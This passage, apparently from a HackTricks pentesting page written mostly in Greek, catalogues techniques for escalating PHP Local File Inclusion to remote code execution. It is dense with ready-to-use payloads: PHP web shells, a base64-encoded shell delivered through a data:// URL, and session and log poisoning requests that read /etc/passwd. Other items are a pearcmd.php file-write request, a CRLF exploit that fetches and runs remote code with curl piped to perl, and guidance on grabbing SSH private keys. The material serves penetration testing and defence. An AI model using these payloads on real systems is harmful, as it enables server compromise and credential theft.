Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Μέσω Email
Αποστείλετε ένα mail σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως <?php echo system($_REQUEST["cmd"]); ?>
και δοκιμάστε να το include στο mail του χρήστη με μια διαδρομή όπως /var/mail/<USERNAME>
ή /var/spool/mail/<USERNAME>
Μέσω /proc//fd/
- Ανεβάστε πολλά shells (για παράδειγμα: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, με $PID = PID της διεργασίας (μπορεί να brute forced) και $FD ο file descriptor (μπορεί να brute forced επίσης)
Μέσω /proc/self/environ
Όπως σε ένα αρχείο καταγραφής, στείλτε το payload στο User-Agent — θα αντανακλάται μέσα στο αρχείο /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Μέσω upload
Αν μπορείτε να upload ένα αρχείο, απλώς εισάγετε το shell payload σε αυτό (e.g : <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να inject στα metadata των εικόνων/doc/pdf
Μέσω ανέβασματος αρχείου ZIP
Ανέβασε ένα αρχείο ZIP που περιέχει έναν συμπιεσμένο PHP shell και πρόσβαση:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Μέσω PHP sessions
Ελέγξτε αν ο ιστότοπος χρησιμοποιεί PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
Στο PHP αυτές οι sessions αποθηκεύονται σε /var/lib/php5/sess\[PHPSESSID]_ αρχεία
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Ορίστε το cookie σε <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Χρησιμοποίησε το LFI για να συμπεριλάβεις το PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Μέσω ssh
Εάν το ssh είναι ενεργό έλεγξε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπάθησε να έχεις πρόσβαση στο <HOME>/.ssh/id_rsa
Μέσω vsftpd logs
Τα logs για τον FTP server vsftpd βρίσκονται στο /var/log/vsftpd.log. Στο σενάριο όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο vsftpd server, μπορούν να εξεταστούν τα παρακάτω βήματα:
- Ενέχυσέ ένα PHP payload στο πεδίο username κατά τη διαδικασία σύνδεσης.
- Μετά την έγχυση, χρησιμοποίησε το LFI για να ανακτήσεις τα server logs από /var/log/vsftpd.log.
Μέσω php base64 filter (using base64)
Όπως δείχνει this article, PHP base64 filter απλά αγνοεί μη-base64 χαρακτήρες. Μπορείς να το χρησιμοποιήσεις για να παρακάμψεις τον έλεγχο επέκτασης αρχείου: εάν παρέχεις base64 που τελειώνει με ".php", το φίλτρο θα αγνοήσει το "." και θα προσθέσει "php" στο base64. Εδώ είναι ένα παράδειγμα payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Μέσω php filters (δεν απαιτείται αρχείο)
This writeup εξηγεί ότι μπορείτε να χρησιμοποιήσετε php filters to generate arbitrary content ως έξοδο. Αυτό ουσιαστικά σημαίνει ότι μπορείτε να generate arbitrary php code για το include χωρίς να χρειάζεται να το γράψετε σε αρχείο.
{{#ref}} lfi2rce-via-php-filters.md {{#endref}}
Μέσω segmentation fault
Ανεβάστε ένα αρχείο που θα αποθηκευτεί ως προσωρινό στο /tmp
, τότε στην ίδια αίτηση προκαλέστε ένα segmentation fault, και τότε το προσωρινό αρχείο δεν θα διαγραφεί και μπορείτε να το αναζητήσετε.
{{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}}
Μέσω αποθήκευσης προσωρινών αρχείων Nginx
If you found a Local File Inclusion and Nginx is running in front of PHP you might be able to obtain RCE with the following technique:
{{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}}
Μέσω PHP_SESSION_UPLOAD_PROGRESS
Ακόμα κι αν βρήκατε ένα Local File Inclusion και δεν έχετε session και session.auto_start
είναι Off
. Αν παρέχετε το PHP_SESSION_UPLOAD_PROGRESS
σε multipart POST δεδομένα, το PHP θα ενεργοποιήσει το session για εσάς. Μπορείτε να το εκμεταλλευτείτε για να αποκτήσετε RCE:
{{#ref}} via-php_session_upload_progress.md {{#endref}}
Μέσω temp file uploads σε Windows
Αν βρήκατε ένα Local File Inclusion και ο διακομιστής τρέχει σε Windows, μπορεί να αποκτήσετε RCE:
{{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}}
Μέσω pearcmd.php
+ URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php
exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =
, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php
with the content <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Το ακόλουθο εκμεταλλεύεται ένα CRLF vuln για να αποκτήσει RCE (από here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Μέσω phpinfo() (file_uploads = on)
Αν βρήκατε ένα Local File Inclusion και ένα αρχείο που αποκαλύπτει phpinfo() με file_uploads = on μπορείτε να αποκτήσετε RCE:
{{#ref}} lfi2rce-via-phpinfo.md {{#endref}}
Μέσω compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Αν βρήκατε ένα Local File Inclusion και μπορείτε να exfiltrate the path του temp file ΑΛΛΑ ο server ελέγχει αν το file to be included has PHP marks, μπορείτε να δοκιμάσετε να bypass that check με αυτή την Race Condition:
{{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}}
Μέσω eternal waiting + bruteforce
Αν μπορείτε να καταχραστείτε το LFI για να upload temporary files και να κάνετε τον server να hang την εκτέλεση PHP, τότε μπορείτε να brute force filenames during hours για να βρείτε το temporary file:
{{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}}
Σε Fatal Error
Αν συμπεριλάβετε οποιοδήποτε από τα αρχεία /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Πρέπει να συμπεριλάβετε το ίδιο μία φορά 2 φορές για να προκαλέσετε αυτό το error).
Δεν ξέρω πώς είναι αυτό χρήσιμο αλλά μπορεί να είναι.
Ακόμη και αν προκαλέσετε ένα PHP Fatal Error, τα PHP temporary files που ανέβηκαν διαγράφονται.

Αναφορές
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
{{#file}} EN-Local-File-Inclusion-1.pdf {{#endfile}}
{{#include ../../banners/hacktricks-training.md}}